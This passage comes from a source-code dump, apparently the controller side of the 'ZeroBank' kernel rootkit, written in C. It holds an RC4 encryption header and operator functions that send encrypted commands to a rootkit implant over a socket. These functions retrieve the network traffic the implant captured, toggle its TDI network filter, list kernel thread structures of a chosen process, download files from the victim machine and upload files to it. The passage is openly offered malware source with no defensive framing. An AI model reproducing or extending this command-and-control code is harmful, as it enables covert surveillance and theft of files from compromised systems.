uint8*)Alloc, (uint8*)Alloc, NumberOfBytes); 165 | 166 | out = Alloc; 167 | 168 | return out; 169 | 170 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_rc4.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef RC4_H 4 | #define RC4_H 5 | #define assert(ignore)((void) 0) 6 | 7 | #define RC4_KEY_1 1 8 | #define RC4_KEY_2 2 9 | #define RC4_KEY_3 3 10 | 11 | typedef unsigned char uint8; 12 | typedef unsigned int uint32; 13 | 14 | 15 | 16 | typedef struct 17 | { 18 | uint8 se[256], sd[256]; 19 | uint32 pose, posd; 20 | uint8 te, td; 21 | } rc4_ctx; 22 | 23 | void rc4_init(rc4_ctx *ctx, const uint8 *key, uint32 key_len); 24 | void rc4_encrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len); 25 | void rc4_decrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len); 26 | 27 | 28 | 29 | 30 | #endif /* !RC4_H */ 31 | 32 | static const uint8 rc4_table[256] = { 33 | 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 34 | 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 35 | 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 36 | 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 37 | 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 38 | 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 39 | 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 40 | 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 41 | 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 42 | 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 43 | 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83, 44 | 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, 45 | 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b, 46 | 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 47 | 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3, 48 | 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, 49 | 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb, 50 | 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 51 | 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 52 | 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 53 | 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 54 | 0xfc, 0xfd, 0xfe, 0xff }; 55 | 56 | #define SWAP(x, y) \ 57 | { \ 58 | tmp = x; \ 59 | x = y; \ 60 | y = tmp; \ 61 | } 62 | 63 | #define RC4_CRYPT() \ 64 | { \ 65 | t += s[(uint8) i]; \ 66 | SWAP(s[(uint8) i], s[t]); \ 67 | new_dst[i] = new_src[i] ^ s[(uint8) (s[(uint8) i] + s[t])]; \ 68 | } 69 | 70 | /* 71 | * Test vectors from K. Kaukonen and R. Thayer (SSH) Internet Draft 72 | * for Arcfour algorithm 73 | */ 74 | 75 | /* Test vectors from [CRYPTLIB] */ 76 | 77 | static const uint8 pt1[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 78 | static const uint8 key1[8] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef }; 79 | static const uint8 ct1[8] = { 0x74, 0x94, 0xc2, 0xe7, 0x10, 0x4b, 0x08, 0x79 }; 80 | 81 | /* Test vectors from [COMMERCE] */ 82 | 83 | static const uint8 pt2[5] = { 0xdc, 0xee, 0x4c, 0xf9, 0x2c }; 84 | static const uint8 key2[5] = { 0x61, 0x8a, 0x63, 0xd2, 0xfb }; 85 | static const uint8 ct2[5] = { 0xf1, 0x38, 0x29, 0xc9, 0xde }; 86 | 87 | /* Test vectors from [SSH ARCFOUR] */ 88 | 89 | static const uint8 pt3[309] = { 90 | 0x52, 0x75, 0x69, 0x73, 0x6c, 0x69, 0x6e, 0x6e, 0x75, 0x6e, 0x20, 0x6c, 91 | 0x61, 0x75, 0x6c, 0x75, 0x20, 0x6b, 0x6f, 0x72, 0x76, 0x69, 0x73, 0x73, 92 | 0x73, 0x61, 0x6e, 0x69, 0x2c, 0x20, 0x74, 0xe4, 0x68, 0x6b, 0xe4, 0x70, 93 | 0xe4, 0x69, 0x64, 0x65, 0x6e, 0x20, 0x70, 0xe4, 0xe4, 0x6c, 0x6c, 0xe4, 94 | 0x20, 0x74, 0xe4, 0x79, 0x73, 0x69, 0x6b, 0x75, 0x75, 0x2e, 0x20, 0x4b, 95 | 0x65, 0x73, 0xe4, 0x79, 0xf6, 0x6e, 0x20, 0x6f, 0x6e, 0x20, 0x6f, 0x6e, 96 | 0x6e, 0x69, 0x20, 0x6f, 0x6d, 0x61, 0x6e, 0x61, 0x6e, 0x69, 0x2c, 0x20, 97 | 0x6b, 0x61, 0x73, 0x6b, 0x69, 0x73, 0x61, 0x76, 0x75, 0x75, 0x6e, 0x20, 98 | 0x6c, 0x61, 0x61, 0x6b, 0x73, 0x6f, 0x74, 0x20, 0x76, 0x65, 0x72, 0x68, 99 | 0x6f, 0x75, 0x75, 0x2e, 0x20, 0x45, 0x6e, 0x20, 0x6d, 0x61, 0x20, 0x69, 100 | 0x6c, 0x6f, 0x69, 0x74, 0x73, 0x65, 0x2c, 0x20, 0x73, 0x75, 0x72, 0x65, 101 | 0x20, 0x68, 0x75, 0x6f, 0x6b, 0x61, 0x61, 0x2c, 0x20, 0x6d, 0x75, 0x74, 102 | 0x74, 0x61, 0x20, 0x6d, 0x65, 0x74, 0x73, 0xe4, 0x6e, 0x20, 0x74, 0x75, 103 | 0x6d, 0x6d, 0x75, 0x75, 0x73, 0x20, 0x6d, 0x75, 0x6c, 0x6c, 0x65, 0x20, 104 | 0x74, 0x75, 0x6f, 0x6b, 0x61, 0x61, 0x2e, 0x20, 0x50, 0x75, 0x75, 0x6e, 105 | 0x74, 0x6f, 0x20, 0x70, 0x69, 0x6c, 0x76, 0x65, 0x6e, 0x2c, 0x20, 0x6d, 106 | 0x69, 0x20, 0x68, 0x75, 0x6b, 0x6b, 0x75, 0x75, 0x2c, 0x20, 0x73, 0x69, 107 | 0x69, 0x6e, 0x74, 0x6f, 0x20, 0x76, 0x61, 0x72, 0x61, 0x6e, 0x20, 0x74, 108 | 0x75, 0x75, 0x6c, 0x69, 0x73, 0x65, 0x6e, 0x2c, 0x20, 0x6d, 0x69, 0x20, 109 | 0x6e, 0x75, 0x6b, 0x6b, 0x75, 0x75, 0x2e, 0x20, 0x54, 0x75, 0x6f, 0x6b, 110 | 0x73, 0x75, 0x74, 0x20, 0x76, 0x61, 0x6e, 0x61, 0x6d, 0x6f, 0x6e, 0x20, 111 | 0x6a, 0x61, 0x20, 0x76, 0x61, 0x72, 0x6a, 0x6f, 0x74, 0x20, 0x76, 0x65, 112 | 0x65, 0x6e, 0x2c, 0x20, 0x6e, 0x69, 0x69, 0x73, 0x74, 0xe4, 0x20, 0x73, 113 | 0x79, 0x64, 0xe4, 0x6d, 0x65, 0x6e, 0x69, 0x20, 0x6c, 0x61, 0x75, 0x6c, 114 | 0x75, 0x6e, 0x20, 0x74, 0x65, 0x65, 0x6e, 0x2e, 0x20, 0x2d, 0x20, 0x45, 115 | 0x69, 0x6e, 0x6f, 0x20, 0x4c, 0x65, 0x69, 0x6e, 0x6f }; 116 | 117 | static const uint8 key3[16] = { 118 | 0x29, 0x04, 0x19, 0x72, 0xfb, 0x42, 0xba, 0x5f, 119 | 0xc7, 0x12, 0x77, 0x12, 0xf1, 0x38, 0x29, 0xc9 }; 120 | 121 | static const uint8 ct3[309] = { 122 | 0x35, 0x81, 0x86, 0x99, 0x90, 0x01, 0xe6, 0xb5, 0xda, 0xf0, 0x5e, 0xce, 123 | 0xeb, 0x7e, 0xee, 0x21, 0xe0, 0x68, 0x9c, 0x1f, 0x00, 0xee, 0xa8, 0x1f, 124 | 0x7d, 0xd2, 0xca, 0xae, 0xe1, 0xd2, 0x76, 0x3e, 0x68, 0xaf, 0x0e, 0xad, 125 | 0x33, 0xd6, 0x6c, 0x26, 0x8b, 0xc9, 0x46, 0xc4, 0x84, 0xfb, 0xe9, 0x4c, 126 | 0x5f, 0x5e, 0x0b, 0x86, 0xa5, 0x92, 0x79, 0xe4, 0xf8, 0x24, 0xe7, 0xa6, 127 | 0x40, 0xbd, 0x22, 0x32, 0x10, 0xb0, 0xa6, 0x11, 0x60, 0xb7, 0xbc, 0xe9, 128 | 0x86, 0xea, 0x65, 0x68, 0x80, 0x03, 0x59, 0x6b, 0x63, 0x0a, 0x6b, 0x90, 129 | 0xf8, 0xe0, 0xca, 0xf6, 0x91, 0x2a, 0x98, 0xeb, 0x87, 0x21, 0x76, 0xe8, 130 | 0x3c, 0x20, 0x2c, 0xaa, 0x64, 0x16, 0x6d, 0x2c, 0xce, 0x57, 0xff, 0x1b, 131 | 0xca, 0x57, 0xb2, 0x13, 0xf0, 0xed, 0x1a, 0xa7, 0x2f, 0xb8, 0xea, 0x52, 132 | 0xb0, 0xbe, 0x01, 0xcd, 0x1e, 0x41, 0x28, 0x67, 0x72, 0x0b, 0x32, 0x6e, 133 | 0xb3, 0x89, 0xd0, 0x11, 0xbd, 0x70, 0xd8, 0xaf, 0x03, 0x5f, 0xb0, 0xd8, 134 | 0x58, 0x9d, 0xbc, 0xe3, 0xc6, 0x66, 0xf5, 0xea, 0x8d, 0x4c, 0x79, 0x54, 135 | 0xc5, 0x0c, 0x3f, 0x34, 0x0b, 0x04, 0x67, 0xf8, 0x1b, 0x42, 0x59, 0x61, 136 | 0xc1, 0x18, 0x43, 0x07, 0x4d, 0xf6, 0x20, 0xf2, 0x08, 0x40, 0x4b, 0x39, 137 | 0x4c, 0xf9, 0xd3, 0x7f, 0xf5, 0x4b, 0x5f, 0x1a, 0xd8, 0xf6, 0xea, 0x7d, 138 | 0xa3, 0xc5, 0x61, 0xdf, 0xa7, 0x28, 0x1f, 0x96, 0x44, 0x63, 0xd2, 0xcc, 139 | 0x35, 0xa4, 0xd1, 0xb0, 0x34, 0x90, 0xde, 0xc5, 0x1b, 0x07, 0x11, 0xfb, 140 | 0xd6, 0xf5, 0x5f, 0x79, 0x23, 0x4d, 0x5b, 0x7c, 0x76, 0x66, 0x22, 0xa6, 141 | 0x6d, 0xe9, 0x2b, 0xe9, 0x96, 0x46, 0x1d, 0x5e, 0x4d, 0xc8, 0x78, 0xef, 142 | 0x9b, 0xca, 0x03, 0x05, 0x21, 0xe8, 0x35, 0x1e, 0x4b, 0xae, 0xd2, 0xfd, 143 | 0x04, 0xf9, 0x46, 0x73, 0x68, 0xc4, 0xad, 0x6a, 0xc1, 0x86, 0xd0, 0x82, 144 | 0x45, 0xb2, 0x63, 0xa2, 0x66, 0x6d, 0x1f, 0x6c, 0x54, 0x20, 0xf1, 0x59, 145 | 0x9d, 0xfd, 0x9f, 0x43, 0x89, 0x21, 0xc2, 0xf5, 0xa4, 0x63, 0x93, 0x8c, 146 | 0xe0, 0x98, 0x22, 0x65, 0xee, 0xf7, 0x01, 0x79, 0xbc, 0x55, 0x3f, 0x33, 147 | 0x9e, 0xb1, 0xa4, 0xc1, 0xaf, 0x5f, 0x6a, 0x54, 0x7f }; 148 | 149 | 150 | INT send_packet_encrypted(IN SOCKET sock, IN INT keytype, IN PVOID Buffer, IN INT len); 151 | PVOID recv_decrypted(IN SOCKET sock, IN INT keytype, IN PVOID buffer,IN INT len); 152 | -------------------------------------------------------------------------------- /ZeroBank!server/server_sendrequests.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | BOOLEAN rootkit_get_send_requests(IN SOCKET sock, IN BYTE Packet) 4 | { 5 | INT sendsize = 0; 6 | INT recvsize = 0; 7 | INT getsize = 0; 8 | ZEROBANK_PACKET_TYPE Type = { 0 }; 9 | PZEROBANK_FILTER_SEND_REQUESTS pSend = NULL, pGet = NULL; 10 | PVOID Alloc = NULL; 11 | ULONG NumberOfEntries = 0; 12 | BOOLEAN g_cond = FALSE; 13 | 14 | Type.PacketType = Packet; 15 | 16 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PVOID)&Type, sizeof(ZEROBANK_PACKET_TYPE)); 17 | if (sendsize > 0) 18 | { 19 | recvsize = recv(sock, (PCHAR)&getsize, sizeof(ULONG), 0); 20 | if (recvsize > 0 && getsize > 0) 21 | { 22 | Alloc = recv_decrypted(sock, RC4_KEY_2, (PVOID)pSend, getsize); 23 | if (Alloc) 24 | { 25 | pGet = (PZEROBANK_FILTER_SEND_REQUESTS)Alloc; 26 | 27 | NumberOfEntries = getsize / sizeof(ZEROBANK_FILTER_SEND_REQUESTS); 28 | 29 | for (ULONG i = 0; i < NumberOfEntries; i++, pGet++) 30 | { 31 | printf("\r\n%s", pGet->SendBuffer); 32 | g_cond = TRUE; 33 | } 34 | RtlFreeHeap(GetProcessHeap(), 0, Alloc); 35 | Alloc = NULL; 36 | } 37 | } 38 | } 39 | 40 | return g_cond; 41 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_sendrequests.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ZEROBANK_FILTER_SEND_REQUESTS { 4 | LIST_ENTRY Entry; 5 | CHAR SendBuffer[2048]; 6 | }ZEROBANK_FILTER_SEND_REQUESTS, *PZEROBANK_FILTER_SEND_REQUESTS; 7 | 8 | typedef struct _ZEROBANK_SEND_HEAD { 9 | LIST_ENTRY Entry; 10 | ULONG NumberOfEntries; 11 | }ZEROBANK_SEND_HEAD, *PZEROBANK_SEND_HEAD; 12 | 13 | BOOLEAN rootkit_get_send_requests(IN SOCKET sock, IN BYTE Packet); -------------------------------------------------------------------------------- /ZeroBank!server/server_tdifilter.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | VOID rootkit_start_TDI_filter(IN SOCKET sock, IN BYTE PacketType) 4 | { 5 | INT sendsize = 0; 6 | ZEROBANK_PACKET_TYPE packet = { 0 }; 7 | packet.PacketType = PacketType; 8 | 9 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&packet, sizeof(ZEROBANK_PACKET_TYPE)); 10 | if (sendsize > 0) 11 | printf("\r\n{ START-TDI-FILTER-PLUGIN } command sent"); 12 | else 13 | printf("\r\n{ START-TDI-FILTER-PLUGIN } Error sending command: %lu",RtlGetLastWin32Error()); 14 | 15 | } 16 | 17 | VOID rootkit_stop_TDI_filter(IN SOCKET sock, IN BYTE PacketType) 18 | { 19 | INT sendsize = 0; 20 | ZEROBANK_PACKET_TYPE packet = { 0 }; 21 | packet.PacketType = PacketType; 22 | 23 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&packet, sizeof(ZEROBANK_PACKET_TYPE)); 24 | if (sendsize > 0) 25 | printf("\r\n{ STOP-TDI-FILTER-PLUGIN } command sent"); 26 | else 27 | printf("\r\n{ STOP-TDI-FILTER-PLUGIN } Error sending command: %lu", RtlGetLastWin32Error()); 28 | 29 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_tdifilter.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | VOID rootkit_start_TDI_filter(IN SOCKET sock, IN BYTE PacketType); 4 | VOID rootkit_stop_TDI_filter(IN SOCKET sock, IN BYTE PacketType); -------------------------------------------------------------------------------- /ZeroBank!server/server_thread.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | BOOL rootkit_get_process_ethread(IN SOCKET sock, IN BYTE PacketType) 4 | { 5 | ZEROBANK_PACKET_TYPE type = { 0 }; 6 | INT sendsize = 0; 7 | INT getsize = 0; 8 | INT recvsize = 0; 9 | INT offset = 0; 10 | INT amount = 0; 11 | PVOID Out = NULL; 12 | BOOL ret; 13 | PROOTKIT_THREAD_ENTRY ThreadEntry = NULL, Entry = NULL; 14 | ULONG NumberOfThreads = NULL; 15 | 16 | char *ethread = "Ethread"; 17 | char *StartAddress = "StartAddress"; 18 | char *ContextSwitches = "ContextSwitches"; 19 | char *StackResident = "KernelStackResident"; 20 | char *id = "ThreadId"; 21 | char *time = "CreateTime"; 22 | char *ktime = "Kerneltime"; 23 | 24 | printf("\r\n{ ETHREAD-PLUGIN } Introduce ProcessID-> "); 25 | scanf("%d", &type.ProcessId_For_ETHREAD_plugin); 26 | type.PacketType = PacketType; 27 | 28 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&type, sizeof(ZEROBANK_PACKET_TYPE)); 29 | if (sendsize > 0) 30 | { 31 | recvsize = recv(sock, (char*)&getsize, sizeof(INT), 0); 32 | if (recvsize > 0 && getsize > 0) 33 | { 34 | 35 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_THREAD_ENTRY)Entry, getsize); 36 | if (Out != NULL) 37 | { 38 | ThreadEntry = (PROOTKIT_THREAD_ENTRY)Out; 39 | if (ThreadEntry) 40 | { 41 | NumberOfThreads = getsize / sizeof(ROOTKIT_THREAD_ENTRY); 42 | 43 | printf("\r\n"); 44 | printf("\r\n%s \t%s %10s %15s %11s %25s %20s", ethread, StartAddress, ContextSwitches, StackResident, id, time, ktime); 45 | printf("\r\n"); 46 | 47 | for (ULONG i = 0; i < NumberOfThreads; i++, ThreadEntry++) 48 | { 49 | 50 | printf("\r\n0x%p", ThreadEntry->Ethread); 51 | printf("\t0x%p", ThreadEntry->StartAddress); 52 | printf("%10d", ThreadEntry->ContextSwitches); 53 | printf("%15s", ThreadEntry->KernelStackResident ? "Yes" : "No"); 54 | printf("%20lu", ThreadEntry->ThreadId); 55 | printf("%35s", ThreadEntry->ThreadCreationTime); 56 | printf("%20u", ThreadEntry->KernelTime); 57 | 58 | ret = TRUE; 59 | 60 | } 61 | } 62 | RtlFreeHeap(GetProcessHeap(), 0, Out); 63 | Out = NULL; 64 | } 65 | } 66 | } 67 | else 68 | { 69 | ret = FALSE; 70 | } 71 | 72 | return ret; 73 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_thread.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ROOTKIT_THREAD_ENTRY { 4 | LIST_ENTRY Entry; 5 | ULONG_PTR Ethread; 6 | UINT16 ContextSwitches; 7 | BOOLEAN KernelStackResident; 8 | ULONG_PTR StartAddress; 9 | ULONG ThreadId; 10 | CHAR ThreadCreationTime[255]; 11 | UINT32 KernelTime; 12 | }ROOTKIT_THREAD_ENTRY, *PROOTKIT_THREAD_ENTRY; 13 | 14 | typedef struct _ROOTKIT_THREAD_LIST_HEAD { 15 | LIST_ENTRY Entry; 16 | ULONG NumberOfThreads; 17 | }ROOTKIT_THREAD_LIST_HEAD, *PROOTKIT_THREAD_LIST_HEAD; 18 | 19 | BOOL rootkit_get_process_ethread(IN SOCKET sock, IN BYTE PacketType); -------------------------------------------------------------------------------- /ZeroBank!server/server_transfer.c: -------------------------------------------------------------------------------- 1 | #include "server_globals.h" 2 | 3 | BOOLEAN rootkit_get_file_from_kernel(IN SOCKET sock, IN BYTE PacketType) 4 | { 5 | ZEROBANK_PACKET_TYPE type = { 0 }; 6 | INT filesize = 0; 7 | INT sendsize = 0; 8 | INT Amount = 0; 9 | INT Size = 0; 10 | HANDLE filehandle = NULL; 11 | WCHAR SaveFileLocation[MAX_PATH] = { 0 }; 12 | WCHAR wzPrefix[MAX_PATH] = { 0 }; 13 | UNICODE_STRING uni = { 0 }; 14 | OBJECT_ATTRIBUTES oa = { 0 }; 15 | IO_STATUS_BLOCK io = { 0 }; 16 | NTSTATUS st; 17 | LARGE_INTEGER large = { 0 }; 18 | BOOLEAN ret; 19 | PVOID Buffer = NULL, Out = NULL; 20 | 21 | printf("\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } Introduce file to download (NT-Format)-> "); 22 | scanf("%s", &type.FileName_For_File_Transfer); 23 | 24 | type.PacketType = PacketType; 25 | 26 | wprintf(L"\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } Enter full path-name for file saving"); 27 | wprintf(L"\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } Example C:\\Users\\Documents\\[name and extension]"); 28 | wprintf(L"\r\n{ KERNEL-FILE-TRANSFER-PLUGIN }-> "); 29 | wscanf(L"\r\n%ws", SaveFileLocation); 30 | wcscpy(wzPrefix, L"\\??\\"); 31 | wcscat(wzPrefix, SaveFileLocation); 32 | 33 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&type, sizeof(ZEROBANK_PACKET_TYPE)); 34 | if (sendsize > 0) 35 | { 36 | 37 | // receiving kernel data in chunks of 1024 bytes 38 | 39 | char *filesize = (char*)RtlAllocateHeap(GetProcessHeap(), 40 | HEAP_ZERO_MEMORY, 41 | 1024); 42 | if (recv(sock, filesize, 1024, 0)) 43 | { 44 | Size = atoi(filesize); 45 | printf("\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } File size: %d", Size); 46 | } 47 | 48 | Out = recv_decrypted(sock, RC4_KEY_3, (PVOID)Buffer, Size); 49 | if (Out == NULL) 50 | return FALSE; 51 | 52 | RtlInitUnicodeString(&uni, wzPrefix); 53 | InitializeObjectAttributes(&oa, &uni, OBJ_CASE_INSENSITIVE, NULL, NULL); 54 | large.QuadPart = 1024; 55 | __try 56 | { 57 | st = NtCreateFile(&filehandle, 58 | FILE_GENERIC_WRITE, 59 | &oa, 60 | &io, 61 | &large, 62 | FILE_ATTRIBUTE_NORMAL, 63 | FILE_SHARE_WRITE, 64 | FILE_CREATE, 65 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, 66 | NULL, 67 | 0); 68 | if (NT_SUCCESS(st)) 69 | { 70 | 71 | printf("\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } File successfully created"); 72 | 73 | st = NtWriteFile(filehandle, 74 | NULL, 75 | NULL, 76 | NULL, 77 | &io, 78 | (PVOID)Out, 79 | Size, 80 | NULL, 81 | 0); 82 | if (NT_SUCCESS(st)) 83 | { 84 | printf("\r\n{ KERNEL-FILE-TRANSFER-PLUGIN } Data successfully written to file"); 85 | NtClose(filehandle); 86 | ret = TRUE; 87 | } 88 | else 89 | { 90 | printf("\r\nNtWriteFile error: 0x%x", st); 91 | ret=FALSE; 92 | } 93 | } 94 | else 95 | { 96 | printf("\r\nNtCreateFile error: 0x%x", st); 97 | ret = FALSE; 98 | } 99 | } 100 | __except (EXCEPTION_EXECUTE_HANDLER) 101 | { 102 | RtlFreeHeap(GetProcessHeap(), 0, Buffer); 103 | printf("\r\nException Catch"); 104 | } 105 | 106 | RtlFreeHeap(GetProcessHeap(), 0, Buffer); 107 | } 108 | 109 | else 110 | { 111 | printf("\r\nError sending packet"); 112 | ret = FALSE; 113 | } 114 | 115 | 116 | return ret; 117 | } 118 | 119 | BOOLEAN rootkit_send_file_to_kernel(IN SOCKET sock, IN BYTE PacketType) 120 | { 121 | NTSTATUS st; 122 | FILE_STANDARD_INFORMATION fileinfo = { 0 }; 123 | OBJECT_ATTRIBUTES oa = { 0 }; 124 | UNICODE_STRING ustr1 = { 0 }; 125 | IO_STATUS_BLOCK io = { 0 }; 126 | BOOL ret; 127 | HANDLE handle; 128 | WCHAR path[MAX_PATH] = { 0 }; 129 | ZEROBANK_PACKET_TYPE Type = { 0 }; 130 | ROOTKIT_STORE_USERSPACE_FILE storefile = { 0 }; 131 | int sendsize = 0; 132 | PVOID Buffer = NULL; 133 | 134 | 135 | wprintf(L"\r\n{ USER-TO-KERNEL-FILE-TRANSFER } Introduce file to send (NT Format) -> "); 136 | wscanf(L"%ws", path); 137 | 138 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } Introduce file-storing name-> "); 139 | scanf("%s", storefile.FileName); 140 | 141 | Type.PacketType = PacketType; 142 | 143 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&Type, sizeof(ZEROBANK_PACKET_TYPE), 0); 144 | if (sendsize <= 0) 145 | ret = FALSE; 146 | 147 | RtlInitUnicodeString(&ustr1, path); 148 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE, NULL, NULL); 149 | st = NtCreateFile(&handle, FILE_GENERIC_READ, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, 150 | FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); 151 | if (!NT_SUCCESS(st)) 152 | { 153 | NtClose(handle); 154 | ret = FALSE; 155 | } 156 | 157 | st = NtQueryInformationFile(handle, &io, &fileinfo, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation); 158 | if (!NT_SUCCESS(st)) 159 | ret = FALSE; 160 | 161 | storefile.FileSize = (unsigned long)fileinfo.EndOfFile.QuadPart; 162 | 163 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } File Bytes: %lu", storefile.FileSize); 164 | 165 | Buffer = LocalAlloc(LPTR, fileinfo.EndOfFile.QuadPart); 166 | if (Buffer == NULL) 167 | ret = FALSE; 168 | 169 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } Memory Allocated: 0x%p", Buffer); 170 | 171 | st = NtReadFile(handle, NULL, NULL, NULL, &io, (PVOID)Buffer, fileinfo.EndOfFile.QuadPart, NULL, 0); 172 | if (!NT_SUCCESS(st)) 173 | ret = FALSE; 174 | 175 | sendsize = send(sock, (const char*)&storefile, sizeof(ROOTKIT_STORE_USERSPACE_FILE), 0); 176 | if (sendsize > 0) 177 | { 178 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } File Size sent"); 179 | 180 | sendsize = send(sock, (const char*)Buffer, (ULONG)fileinfo.EndOfFile.QuadPart, 0); 181 | if (sendsize > 0) 182 | { 183 | printf("\r\n{ USER-TO-KERNEL-FILE-TRANSFER } File Buffer sent"); 184 | ret = TRUE; 185 | } 186 | } 187 | 188 | NtClose(handle); 189 | LocalFree(Buffer); 190 | 191 | return ret; 192 | } -------------------------------------------------------------------------------- /ZeroBank!server/server_transfer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ROOTKIT_STORE_USERSPACE_FILE 4 | { 5 | CHAR FileName[255]; 6 | ULONG FileSize; 7 | 8 | }ROOTKIT_STORE_USERSPACE_FILE, *PROOTKIT_STORE_USERSPACE_FILE; 9 | 10 | BOOLEAN rootkit_get_file_from_kernel(IN SOCKET socket, IN BYTE PacketType); 11 | BOOLEAN rootkit_send_file_to_kernel(IN SOCKET sock, IN BYTE PacketType); --------------------------------------------------------------------------------